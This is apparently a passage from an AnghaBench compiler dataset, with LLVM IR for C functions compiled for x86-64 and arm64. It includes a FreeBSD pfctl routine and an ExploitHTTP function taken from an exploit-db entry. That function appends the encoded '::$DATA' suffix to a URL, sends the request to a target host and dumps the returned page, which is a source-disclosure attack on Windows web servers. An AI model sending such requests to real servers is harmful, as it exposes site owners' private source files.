"no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"any pointer", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"} !9 = !{!10, !6, i64 8} !10 = !{!"TYPE_2__", !11, i64 0, !6, i64 8} !11 = !{!"long", !7, i64 0} !12 = distinct !{!12, !13} !13 = !{!"llvm.loop.mustprogress"} !14 = !{!15, !6, i64 0} !15 = !{!"pfctl", !6, i64 0, !6, i64 8, !16, i64 16} !16 = !{!"int", !7, i64 0} !17 = !{!10, !11, i64 0} !18 = !{!16, !16, i64 0} !19 = !{!15, !6, i64 8} !20 = !{!15, !16, i64 16}
; ModuleID = 'AnghaBench/freebsd/sbin/pfctl/extr_pfctl.c_pfctl_set_limit.c' source_filename = "AnghaBench/freebsd/sbin/pfctl/extr_pfctl.c_pfctl_set_limit.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" %struct.TYPE_2__ = type { i64, ptr } @pf_limits = common local_unnamed_addr global ptr null, align 8 @.str = private unnamed_addr constant [15 x i8] c"Bad pool name.\00", align 1 @PF_OPT_VERBOSE = common local_unnamed_addr global i32 0, align 4 @.str.1 = private unnamed_addr constant [17 x i8] c"set limit %s %d\0A\00", align 1 ; Function Attrs: nounwind ssp uwtable(sync) define range(i32 0, 2) i32 @pfctl_set_limit(ptr nocapture noundef readonly %0, ptr noundef %1, i32 noundef %2) local_unnamed_addr #0 { %4 = load ptr, ptr @pf_limits, align 8, !tbaa !6 %5 = getelementptr inbounds i8, ptr %4, i64 8 %6 = load ptr, ptr %5, align 8, !tbaa !10 %7 = icmp eq ptr %6, null br i1 %7, label %27, label %13 8: ; preds = %13 %9 = add nuw nsw i64 %14, 1 %10 = getelementptr inbounds %struct.TYPE_2__, ptr %18, i64 %9, i32 1 %11 = load ptr, ptr %10, align 8, !tbaa !10 %12 = icmp eq ptr %11, null br i1 %12, label %27, label %13, !llvm.loop !13 13: ; preds = %3, %8 %14 = phi i64 [ %9, %8 ], [ 0, %3 ] %15 = phi ptr [ %11, %8 ], [ %6, %3 ] %16 = tail call i64 @strcasecmp(ptr noundef %1, ptr noundef nonnull %15) #2 %17 = icmp eq i64 %16, 0 %18 = load ptr, ptr @pf_limits, align 8, !tbaa !6 br i1 %17, label %19, label %8 19: ; preds = %13 %20 = load ptr, ptr %0, align 8, !tbaa !15 %21 = getelementptr inbounds %struct.TYPE_2__, ptr %18, i64 %14 %22 = load i64, ptr %21, align 8, !tbaa !18 %23 = getelementptr inbounds i32, ptr %20, i64 %22 store i32 %2, ptr %23, align 4, !tbaa !19 %24 = getelementptr inbounds i8, ptr %0, i64 8 %25 = load ptr, ptr %24, align 8, !tbaa !20 %26 = getelementptr inbounds i32, ptr %25, i64 %22 store i32 1, ptr %26, align 4, !tbaa !19 br label %27 27: ; preds = %8, %3, %19 %28 = phi ptr [ %18, %19 ], [ %4, %3 ], [ %18, %8 ] %29 = phi i64 [ %14, %19 ], [ 0, %3 ], [ %9, %8 ] %30 = getelementptr inbounds %struct.TYPE_2__, ptr %28, i64 %29, i32 1 %31 = load ptr, ptr %30, align 8, !tbaa !10 %32 = icmp eq ptr %31, null br i1 %32, label %33, label %35 33: ; preds = %27 %34 = tail call i32 @warnx(ptr noundef nonnull @.str) #2 br label %43 35: ; preds = %27 %36 = getelementptr inbounds i8, ptr %0, i64 16 %37 = load i32, ptr %36, align 8, !tbaa !21 %38 = load i32, ptr @PF_OPT_VERBOSE, align 4, !tbaa !19 %39 = and i32 %38, %37 %40 = icmp eq i32 %39, 0 br i1 %40, label %43, label %41 41: ; preds = %35 %42 = tail call i32 @printf(ptr noundef nonnull @.str.1, ptr noundef %1, i32 noundef %2) #2 br label %43 43: ; preds = %35, %41, %33 %44 = phi i32 [ 1, %33 ], [ 0, %41 ], [ 0, %35 ] ret i32 %44 } declare i64 @strcasecmp(ptr noundef, ptr noundef) local_unnamed_addr #1 declare i32 @warnx(ptr noundef) local_unnamed_addr #1 declare i32 @printf(ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"any pointer", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !7, i64 8} !11 = !{!"TYPE_2__", !12, i64 0, !7, i64 8} !12 = !{!"long", !8, i64 0} !13 = distinct !{!13, !14} !14 = !{!"llvm.loop.mustprogress"} !15 = !{!16, !7, i64 0} !16 = !{!"pfctl", !7, i64 0, !7, i64 8, !17, i64 16} !17 = !{!"int", !8, i64 0} !18 = !{!11, !12, i64 0} !19 = !{!17, !17, i64 0} !20 = !{!16, !7, i64 8} !21 = !{!16, !17, i64 16}
freebsd_sbin_pfctl_extr_pfctl.c_pfctl_set_limit
; ModuleID = 'AnghaBench/exploitdb/exploits/windows/remote/extr_2690.c_ExploitHTTP.c' source_filename = "AnghaBench/exploitdb/exploits/windows/remote/extr_2690.c_ExploitHTTP.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @BUFSIZ = dso_local local_unnamed_addr global i32 0, align 4 @.str = private unnamed_addr constant [10 x i8] c"HOST: %s\0A\00", align 1 @.str.1 = private unnamed_addr constant [10 x i8] c"PORT: %i\0A\00", align 1 @httpport = dso_local local_unnamed_addr global i32 0, align 4 @INTERNET_SERVICE_HTTP = dso_local local_unnamed_addr global i32 0, align 4 @file = dso_local local_unnamed_addr global i32 0, align 4 @INTERNET_FLAG_NO_AUTH = dso_local local_unnamed_addr global i64 0, align 8 @INTERNET_FLAG_NO_AUTO_REDIRECT = dso_local local_unnamed_addr global i64 0, align 8 @INTERNET_FLAG_NO_CACHE_WRITE = dso_local local_unnamed_addr global i64 0, align 8 @INTERNET_FLAG_NO_COOKIES = dso_local local_unnamed_addr global i64 0, align 8 @INTERNET_FLAG_RELOAD = dso_local local_unnamed_addr global i64 0, align 8 @.str.3 = private unnamed_addr constant [22 x i8] c"%3A%3A%24%44%41%54%41\00", align 1 @.str.4 = private unnamed_addr constant [4 x i8] c"GET\00", align 1 @.str.5 = private unnamed_addr constant [9 x i8] c"HTTP/1.0\00", align 1 @.str.8 = private unnamed_addr constant [45 x i8] c"Exploit Sent...Dumping HTTP Return Packet...\00", align 1 @stdout = dso_local local_unnamed_addr global i32 0, align 4 @str = private unnamed_addr constant [36 x i8] c"HTTP Send Request failed....Exiting\00", align 1 @str.10 = private unnamed_addr constant [36 x i8] c"Error Outputting HTTP Return Packet\00", align 1 @str.11 = private unnamed_addr constant [36 x i8] c"HTTP Open Request failed....Exiting\00", align 1 @str.12 = private unnamed_addr constant [28 x i8] c"Failed to Connect...Exiting\00", align 1 ; Function Attrs: nounwind uwtable define dso_local void @ExploitHTTP(ptr noundef %0, ptr noundef %1, ptr noundef %2) local_unnamed_addr #0 { %4 = alloca i64, align 8 %5 = load i32, ptr @BUFSIZ, align 4, !tbaa !5 %6 = zext i32 %5 to i64 %7 = alloca i8, i64 %6, align 16 call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %4) #6 %8 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) @.str, ptr noundef %1) %9 = load i32, ptr @httpport, align 4, !tbaa !5 %10 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) @.str.1, i32 noundef %9) %11 = load i32, ptr @httpport, align 4, !tbaa !5 %12 = load i32, ptr @INTERNET_SERVICE_HTTP, align 4, !tbaa !5 %13 = tail call ptr @InternetConnect(ptr noundef %0, ptr noundef %1, i32 noundef %11, ptr noundef null, ptr noundef null, i32 noundef %12, i32 noundef 0, i32 noundef 0) #6 %14 = icmp eq ptr %13, null br i1 %14, label %15, label %21 15: ; preds = %3 %16 = tail call i32 @puts(ptr nonnull dereferenceable(1) @str.12) %17 = tail call i32 @InternetCloseHandle(ptr noundef %0) #6 %18 = load i32, ptr @file, align 4, !tbaa !5 %19 = tail call i32 @fclose(i32 noundef %18) #6 %20 = tail call i32 @exit(i32 noundef 1) #7 unreachable 21: ; preds = %3 %22 = load i64, ptr @INTERNET_FLAG_NO_AUTH, align 8, !tbaa !9 %23 = load i64, ptr @INTERNET_FLAG_NO_AUTO_REDIRECT, align 8, !tbaa !9 %24 = or i64 %23, %22 %25 = load i64, ptr @INTERNET_FLAG_NO_CACHE_WRITE, align 8, !tbaa !9 %26 = or i64 %24, %25 %27 = load i64, ptr @INTERNET_FLAG_NO_COOKIES, align 8, !tbaa !9 %28 = or i64 %26, %27 %29 = load i64, ptr @INTERNET_FLAG_RELOAD, align 8, !tbaa !9 %30 = or i64 %28, %29 %31 = tail call i32 @strcat(ptr noundef %2, ptr noundef nonnull @.str.3) #6 %32 = tail call ptr @HttpOpenRequest(ptr noundef nonnull %13, ptr noundef nonnull @.str.4, ptr noundef %2, ptr noundef nonnull @.str.5, ptr noundef null, ptr noundef null, i64 noundef %30, i32 noundef 0) #6 %33 = icmp eq ptr %32, null br i1 %33, label %34, label %41 34: ; preds = %21 %35 = tail call i32 @puts(ptr nonnull dereferenceable(1) @str.11) %36 = tail call i32 @InternetCloseHandle(ptr noundef nonnull %13) #6 %37 = tail call i32 @InternetCloseHandle(ptr noundef %0) #6 %38 = load i32, ptr @file, align 4, !tbaa !5 %39 = tail call i32 @fclose(i32 noundef %38) #6 %40 = tail call i32 @exit(i32 noundef 1) #7 unreachable 41: ; preds = %21 %42 = tail call i32 @HttpSendRequest(ptr noundef nonnull %32, ptr noundef null, i32 noundef 0, ptr noundef null, i32 noundef 0) #6 %43 = icmp eq i32 %42, 0 br i1 %43, label %44, label %52 44: ; preds = %41 %45 = tail call i32 @puts(ptr nonnull dereferenceable(1) @str) %46 = tail call i32 @InternetCloseHandle(ptr noundef nonnull %32) #6 %47 = tail call i32 @InternetCloseHandle(ptr noundef nonnull %13) #6 %48 = tail call i32 @InternetCloseHandle(ptr noundef %0) #6 %49 = load i32, ptr @file, align 4, !tbaa !5 %50 = tail call i32 @fclose(i32 noundef %49) #6 %51 = tail call i32 @exit(i32 noundef 1) #7 unreachable 52: ; preds = %41 %53 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) @.str.8) %54 = tail call i32 @sleep(i32 noundef 1000) #6 %55 = call i64 @InternetReadFile(ptr noundef nonnull %32, ptr noundef nonnull %7, i32 noundef %5, ptr noundef nonnull %4) #6 %56 = icmp ne i64 %55, 0 %57 = load i64, ptr %4, align 8 %58 = icmp ne i64 %57, 0 %59 = select i1 %56, i1 %58, i1 false br i1 %59, label %60, label %76 60: ; preds = %52, %70 %61 = phi i64 [ %73, %70 ], [ %57, %52 ] %62 = load i32, ptr @file, align 4, !tbaa !5 %63 = call i32 @fwrite(ptr noundef nonnull %7, i64 noundef %61, i32 noundef 1, i32 noundef %62) #6 %64 = load i64, ptr %4, align 8, !tbaa !9 %65 = load i32, ptr @stdout, align 4, !tbaa !5 %66 = call i32 @fwrite(ptr noundef nonnull %7, i64 noundef %64, i32 noundef 1, i32 noundef %65) #6 %67 = icmp slt i32 %66, 1 br i1 %67, label %68, label %70 68: ; preds = %60 %69 = call i32 @puts(ptr nonnull dereferenceable(1) @str.10) br label %70 70: ; preds = %68, %60 %71 = call i64 @InternetReadFile(ptr noundef nonnull %32, ptr noundef nonnull %7, i32 noundef %5, ptr noundef nonnull %4) #6 %72 = icmp ne i64 %71, 0 %73 = load i64, ptr %4, align 8 %74 = icmp ne i64 %73, 0 %75 = select i1 %72, i1 %74, i1 false br i1 %75, label %60, label %76, !llvm.loop !11 76: ; preds = %70, %52 %77 = call i32 @InternetCloseHandle(ptr noundef nonnull %32) #6 %78 = call i32 @InternetCloseHandle(ptr noundef nonnull %13) #6 call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %4) #6 ret void } ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1 ; Function Attrs: nofree nounwind declare noundef i32 @printf(ptr nocapture noundef readonly, ...) local_unnamed_addr #2 declare ptr @InternetConnect(ptr noundef, ptr noundef, i32 noundef, ptr noundef, ptr noundef, i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #3 declare i32 @InternetCloseHandle(ptr noundef) local_unnamed_addr #3 declare i32 @fclose(i32 noundef) local_unnamed_addr #3 ; Function Attrs: noreturn declare i32 @exit(i32 noundef) local_unnamed_addr #4 declare i32 @strcat(ptr noundef, ptr noundef) local_unnamed_addr #3 declare ptr @HttpOpenRequest(ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef, i64 noundef, i32 noundef) local_unnamed_addr #3 declare i32 @HttpSendRequest(ptr noundef, ptr noundef, i32 noundef, ptr noundef, i32 noundef) local_unnamed_addr #3 declare i32 @sleep(i32 noundef) local_unnamed_addr #3 declare i64 @InternetReadFile(ptr noundef, ptr noundef, i32 noundef, ptr noundef) local_unnamed_addr #3 declare i32 @fwrite(ptr noundef, i64 noundef, i32 noundef, i32 noundef) local_unnamed_addr #3 ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1 ; Function Attrs: nofree nounwind declare noundef i32 @puts(ptr nocapture noundef readonly) local_unnamed_addr #5 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) } attributes #2 = { nofree nounwind "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #4 = { noreturn "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #5 = { nofree nounwind } attributes #6 = { nounwind } attributes #7 = { noreturn nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"int", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"} !9 = !{!10, !10, i64 0} !10 = !{!"long", !7, i64 0} !11 = distinct !{!11, !12} !12 = !{!"llvm.loop.mustprogress"}
; ModuleID = 'AnghaBench/exploitdb/exploits/windows/remote/extr_2690.c_ExploitHTTP.c' source_filename = "AnghaBench/exploitdb/exploits/windows/remote/extr_2690.c_ExploitHTTP.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @BUFSIZ = common local_unnamed_addr global i32 0, align 4 @.str = private unnamed_addr constant [10 x i8] c"HOST: %s\0A\00", align 1 @.str.1 = private unnamed_addr constant [10 x i8] c"PORT: %i\0A\00", align 1 @httpport = common local_unnamed_addr global i32 0, align 4 @INTERNET_SERVICE_HTTP = common local_unnamed_addr global i32 0, align 4 @file = common local_unnamed_addr global i32 0, align 4 @INTERNET_FLAG_NO_AUTH = common local_unnamed_addr global i64 0, align 8 @INTERNET_FLAG_NO_AUTO_REDIRECT = common local_unnamed_addr global i64 0, align 8 @INTERNET_FLAG_NO_CACHE_WRITE = common local_unnamed_addr global i64 0, align 8 @INTERNET_FLAG_NO_COOKIES = common local_unnamed_addr global i64 0, align 8 @INTERNET_FLAG_RELOAD = common local_unnamed_addr global i64 0, align 8 @.str.3 = private unnamed_addr constant [22 x i8] c"%3A%3A%24%44%41%54%41\00", align 1 @.str.4 = private unnamed_addr constant [4 x i8] c"GET\00", align 1 @.str.5 = private unnamed_addr constant [9 x i8] c"HTTP/1.0\00", align 1 @.str.8 = private unnamed_addr constant [45 x i8] c"Exploit Sent...Dumping HTTP Return Packet...\00", align 1 @stdout = common local_unnamed_addr global i32 0, align 4 @str = private unnamed_addr constant [36 x i8] c"HTTP Send Request failed....Exiting\00", align 1 @str.10 = private unnamed_addr constant [36 x i8] c"Error Outputting HTTP Return Packet\00", align 1 @str.11 = private unnamed_addr constant [36 x i8] c"HTTP Open Request failed....Exiting\00", align 1 @str.12 = private unnamed_addr constant [28 x i8] c"Failed to Connect...Exiting\00", align 1 ; Function Attrs: nounwind ssp uwtable(sync) define void @ExploitHTTP(ptr noundef %0, ptr noundef %1, ptr noundef %2) local_unnamed_addr #0 { %4 = alloca i64, align 8 %5 = load i32, ptr @BUFSIZ, align 4, !tbaa !6 %6 = zext i32 %5 to i64 %7 = alloca i8, i64 %6, align 1 call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %4) #6 %8 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) @.str, ptr noundef %1) %9 = load i32, ptr @httpport, align 4, !tbaa !6 %10 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) @.str.1, i32 noundef %9) %11 = load i32, ptr @httpport, align 4, !tbaa !6 %12 = load i32, ptr @INTERNET_SERVICE_HTTP, align 4, !tbaa !6 %13 = tail call ptr @InternetConnect(ptr noundef %0, ptr noundef %1, i32 noundef %11, ptr noundef null, ptr noundef null, i32 noundef %12, i32 noundef 0, i32 noundef 0) #6 %14 = icmp eq ptr %13, null br i1 %14, label %15, label %21 15: ; preds = %3 %16 = tail call i32 @puts(ptr nonnull dereferenceable(1) @str.12) %17 = tail call i32 @InternetCloseHandle(ptr noundef %0) #6 %18 = load i32, ptr @file, align 4, !tbaa !6 %19 = tail call i32 @fclose(i32 noundef %18) #6 %20 = tail call i32 @exit(i32 noundef 1) #7 unreachable 21: ; preds = %3 %22 = load i64, ptr @INTERNET_FLAG_NO_AUTH, align 8, !tbaa !10 %23 = load i64, ptr @INTERNET_FLAG_NO_AUTO_REDIRECT, align 8, !tbaa !10 %24 = or i64 %23, %22 %25 = load i64, ptr @INTERNET_FLAG_NO_CACHE_WRITE, align 8, !tbaa !10 %26 = or i64 %24, %25 %27 = load i64, ptr @INTERNET_FLAG_NO_COOKIES, align 8, !tbaa !10 %28 = or i64 %26, %27 %29 = load i64, ptr @INTERNET_FLAG_RELOAD, align 8, !tbaa !10 %30 = or i64 %28, %29 %31 = tail call i32 @strcat(ptr noundef %2, ptr noundef nonnull @.str.3) #6 %32 = tail call ptr @HttpOpenRequest(ptr noundef nonnull %13, ptr noundef nonnull @.str.4, ptr noundef %2, ptr noundef nonnull @.str.5, ptr noundef null, ptr noundef null, i64 noundef %30, i32 noundef 0) #6 %33 = icmp eq ptr %32, null br i1 %33, label %34, label %41 34: ; preds = %21 %35 = tail call i32 @puts(ptr nonnull dereferenceable(1) @str.11) %36 = tail call i32 @InternetCloseHandle(ptr noundef nonnull %13) #6 %37 = tail call i32 @InternetCloseHandle(ptr noundef %0) #6 %38 = load i32, ptr @file, align 4, !tbaa !6 %39 = tail call i32 @fclose(i32 noundef %38) #6 %40 = tail call i32 @exit(i32 noundef 1) #7 unreachable 41: ; preds = %21 %42 = tail call i32 @HttpSendRequest(ptr noundef nonnull %32, ptr noundef null, i32 noundef 0, ptr noundef null, i32 noundef 0) #6 %43 = icmp eq i32 %42, 0 br i1 %43, label %44, label %52 44: ; preds = %41 %45 = tail call i32 @puts(ptr nonnull dereferenceable(1) @str) %46 = tail call i32 @InternetCloseHandle(ptr noundef nonnull %32) #6 %47 = tail call i32 @InternetCloseHandle(ptr noundef nonnull %13) #6 %48 = tail call i32 @InternetCloseHandle(ptr noundef %0) #6 %49 = load i32, ptr @file, align 4, !tbaa !6 %50 = tail call i32 @fclose(i32 noundef %49) #6 %51 = tail call i32 @exit(i32 noundef 1) #7 unreachable 52: ; preds = %41 %53 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) @.str.8) %54 = tail call i32 @sleep(i32 noundef 1000) #6 %55 = call i64 @InternetReadFile(ptr noundef nonnull %32, ptr noundef nonnull %7, i32 noundef %5, ptr noundef nonnull %4) #6 %56 = icmp ne i64 %55, 0 %57 = load i64, ptr %4, align 8 %58 = icmp ne i64 %57, 0 %59 = select i1 %56, i1 %58, i1 false br i1 %59, label %60, label %76 60: ; preds = %52, %70 %61 = phi i64 [ %73, %70 ], [ %57, %52 ] %62 = load i32, ptr @file, align 4, !tbaa !6 %63 = call i32 @fwrite(ptr noundef nonnull %7, i64 noundef %61, i32 noundef 1, i32 noundef %62) #6 %64 = load i64, ptr %4, align 8, !tbaa !10 %65 = load i32, ptr @stdout, align 4, !tbaa !6 %66 = call i32 @fwrite(ptr noundef nonnull %7, i64 noundef %64, i32 noundef 1, i32 noundef %65) #6 %67 = icmp slt i32 %66, 1 br i1 %67, label %68, label %70 68: ; preds = %60 %69 = call i32 @puts(ptr nonnull dereferenceable(1) @str.10) br label %70 70: ; preds = %68, %60 %71 = call i64 @InternetReadFile(ptr noundef nonnull %32, ptr noundef nonnull %7, i32 noundef %5, ptr noundef nonnull %4) #6 %72 = icmp ne i64 %71, 0 %73 = load i64, ptr %4, align 8 %74 = icmp ne i64 %73, 0 %75 = select i1 %72, i1 %74, i1 false br i1 %75, label %60, label %76, !llvm.loop !12 76: ; preds = %70, %52 %77 = call i32 @InternetCloseHandle(ptr noundef nonnull %32) #6 %78 = call i32 @InternetCloseHandle(ptr noundef nonnull %13) #6 call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %4) #6 ret void } ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1 ; Function Attrs: nofree nounwind declare noundef i32 @printf(ptr nocapture noundef readonly, ...) local_unnamed_addr #2 declare ptr @InternetConnect(ptr noundef, ptr noundef, i32 noundef, ptr noundef, ptr noundef, i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #3 declare i32 @InternetCloseHandle(ptr noundef) local_unnamed_addr #3 declare i32 @fclose(i32 noundef) local_unnamed_addr #3 ; Function Attrs: noreturn declare i32 @exit(i32 noundef) local_unnamed_addr #4 declare i32 @strcat(ptr noundef, ptr noundef) local_unnamed_addr #3 declare ptr @HttpOpenRequest(ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef, i64 noundef, i32 noundef) local_unnamed_addr #3 declare i32 @HttpSendRequest(ptr noundef, ptr noundef, i32 noundef, ptr noundef, i32 noundef) local_unnamed_addr #3 declare i32 @sleep(i32 noundef) local_unnamed_addr #3 declare i64 @InternetReadFile(ptr noundef, ptr noundef, i32 noundef, ptr noundef) local_unnamed_addr #3 declare i32 @fwrite(ptr noundef, i64 noundef, i32 noundef, i32 noundef) local_unnamed_addr #3 ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1 ; Function Attrs: nofree nounwind declare noundef i32 @puts(ptr nocapture noundef readonly) local_unnamed_addr #5 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) } attributes #2 = { nofree nounwind "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #3 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #4 = { noreturn "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #5 = { nofree nounwind } attributes #6 = { nounwind } attributes #7 = { noreturn nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !11, i64 0} !11 = !{!"long", !8, i64 0} !12 = distinct !{!12, !13} !13 = !{!"llvm.loop.mustprogress"}
exploitdb_exploits_windows_remote_extr_2690.c_ExploitHTTP
